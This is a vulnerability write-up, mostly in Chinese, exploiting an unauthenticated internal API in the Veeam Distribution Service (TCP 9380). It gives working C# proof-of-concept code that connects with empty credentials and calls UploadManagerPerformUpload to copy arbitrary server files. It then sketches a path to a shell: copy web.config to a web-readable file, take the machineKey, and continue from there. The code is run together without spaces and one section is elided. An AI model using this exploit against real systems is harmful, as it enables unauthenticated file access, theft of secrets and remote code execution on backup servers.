The Veeam Distribution Service (TCP 9380 by default) allows unauthenticated users to access internal API functions. A remote attacker may send input to the internal API which may lead to uploading and executing of malicious code.
internalclassProgram{staticTcpClientclient=null;staticvoidMain(string[]args){IPAddressipAddress=IPAddress.Parse("172.16.16.76");IPEndPointremoteEP=newIPEndPoint(ipAddress,9380);�client=newTcpClient();client.Connect(remoteEP);Console.WriteLine("Client connected to {0}.",remoteEP.ToString());NetworkStreamclientStream=client.GetStream();NegotiateStreamauthStream=newNegotiateStream(clientStream,false);try{NetworkCredentialnetcred=newNetworkCredential("","");authStream.AuthenticateAsClient(netcred,"",ProtectionLevel.EncryptAndSign,TokenImpersonationLevel.Identification);}catch(Exceptione){Console.WriteLine(e);}finally{authStream.Close();}Console.ReadKey();}}
privatestringExecute(CForeignInvokerParamsinvokerParams,stringcertificateThumbprint,stringremoteHostAddress){CConfigurationServiceBaseSpeccconfigurationServiceBaseSpec=(CConfigurationServiceBaseSpec)invokerParams.Spec;CInputXmlDatacinputXmlData=newCInputXmlData("RIResponse");cinputXmlData.SetBool("PersistentConnection",true);stringtext=((EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method).ToString();Log.Message("Command '{0}' ({1})",newobject[]{text,remoteHostAddress});EConfigurationServiceMethodmethod=(EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method;switch(method){........省略.......caseEConfigurationServiceMethod.UploadManagerGetFolders:CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerGetFolders((CConfigurationServiceUploadManagerGetFolders)cconfigurationServiceBaseSpec,cinputXmlData);gotoIL_1B1;caseEConfigurationServiceMethod.UploadManagerIsFileInCache:CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerIsFileInCache((CConfigurationServiceUploadManagerIsFileInCache)cconfigurationServiceBaseSpec,cinputXmlData);gotoIL_1B1;caseEConfigurationServiceMethod.UploadManagerPerformUpload:CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerPerformUpload((CConfigurationServiceUploadManagerPerformUpload)cconfigurationServiceBaseSpec,cinputXmlData);gotoIL_1B1;default:if(method==EConfigurationServiceMethod.Disconnect){CEpAgentConfigurationServiceExecuter.ExecuteDisconnect();gotoIL_1B1;}break;}thrownewException("Failed to process command '"+text+"': Executer not implemented");IL_1B1:returncinputXmlData.Serial();}
case FIScope标签之后会判断不同分支,返回不同的实例,而在Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CForeignInvokerParams, string, string)中我们需要的是CConfigurationServiceBaseSpec实例,因为这个地方进行了强制类型转换
internalclassProgram{staticTcpClientclient=null;staticvoidMain(string[]args){IPAddressipAddress=IPAddress.Parse("172.16.16.76");IPEndPointremoteEP=newIPEndPoint(ipAddress,9380);client=newTcpClient();client.Connect(remoteEP);Console.WriteLine("Client connected to {0}.",remoteEP.ToString());NetworkStreamclientStream=client.GetStream();NegotiateStreamauthStream=newNegotiateStream(clientStream,false);try{NetworkCredentialnetcred=newNetworkCredential("","");authStream.AuthenticateAsClient(netcred,"",ProtectionLevel.EncryptAndSign,TokenImpersonationLevel.Identification);CInputXmlDataFIData=newCInputXmlData("FIData");CInputXmlDataFISpec=newCInputXmlData("FISpec");FISpec.SetInt32("FIScope",190);FISpec.SetGuid("FISessionId",Guid.Empty);//FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerGetFolders);FISpec.SetInt32("FIMethod",(int)EConfigurationServiceMethod.UploadManagerPerformUpload);FISpec.SetString("SystemType","WIN");FISpec.SetString("Host","127.0.0.1");IPAddress[]HostIps=newIPAddress[]{IPAddress.Loopback};FISpec.SetStrings("HostIps",ConvertIpsToStringArray(HostIps));FISpec.SetString("User",SStringMasker.Mask("","{e217876c-c661-4c26-a09f-3920a29fc11f}"));FISpec.SetString("Password",SStringMasker.Mask("","{e217876c-c661-4c26-a09f-3920a29fc11f}"));FISpec.SetString("TaskType","Package");FISpec.SetString("FixProductType","");FISpec.SetString("FixProductVeresion","");FISpec.SetUInt64("FixIssueNumber",0);FISpec.SetString("SshCredentials",SStringMasker.Mask("","{e217876c-c661-4c26-a09f-3920a29fc11f}"));FISpec.SetString("SshFingerprint","");FISpec.SetBool("SshTrustAll",true);FISpec.SetBool("CheckSignatureBeforeUpload",false);FISpec.SetEnum<ESSHProtocol>("DefaultProtocol",ESSHProtocol.Rebex);FISpec.SetString("FileRelativePath","FileRelativePath");FISpec.SetString("FileRemotePath",@"C:\windows\test.txt");FISpec.SetString("FileProxyPath",@"C:\windows\win.ini");FIData.InjectChild(FISpec);Console.WriteLine(FIData.Root.OuterXml);newBinaryWriter(authStream).WriteCompressedString(FIData.Root.OuterXml,Encoding.UTF8);stringresponse=newBinaryReader(authStream).ReadCompressedString(int.MaxValue,Encoding.UTF8);Console.WriteLine("response:");Console.WriteLine(response);}catch(Exceptione){Console.WriteLine(e);}finally{authStream.Close();}Console.ReadKey();}
成功复制文件。
3 getshell
目前只是能复制服务器上已有的文件,文件名可控,但是文件内容不可控。如何getshell?
看了看安装完成之后的Veeam有几个web
在C:\Program Files\Veeam\Backup and Replication\Enterprise Manager\WebApp\web.config中有machineKey,然后就是懂得都懂了,把web.config复制一份写入到1.txt中,然后通过web访问拿到machineKey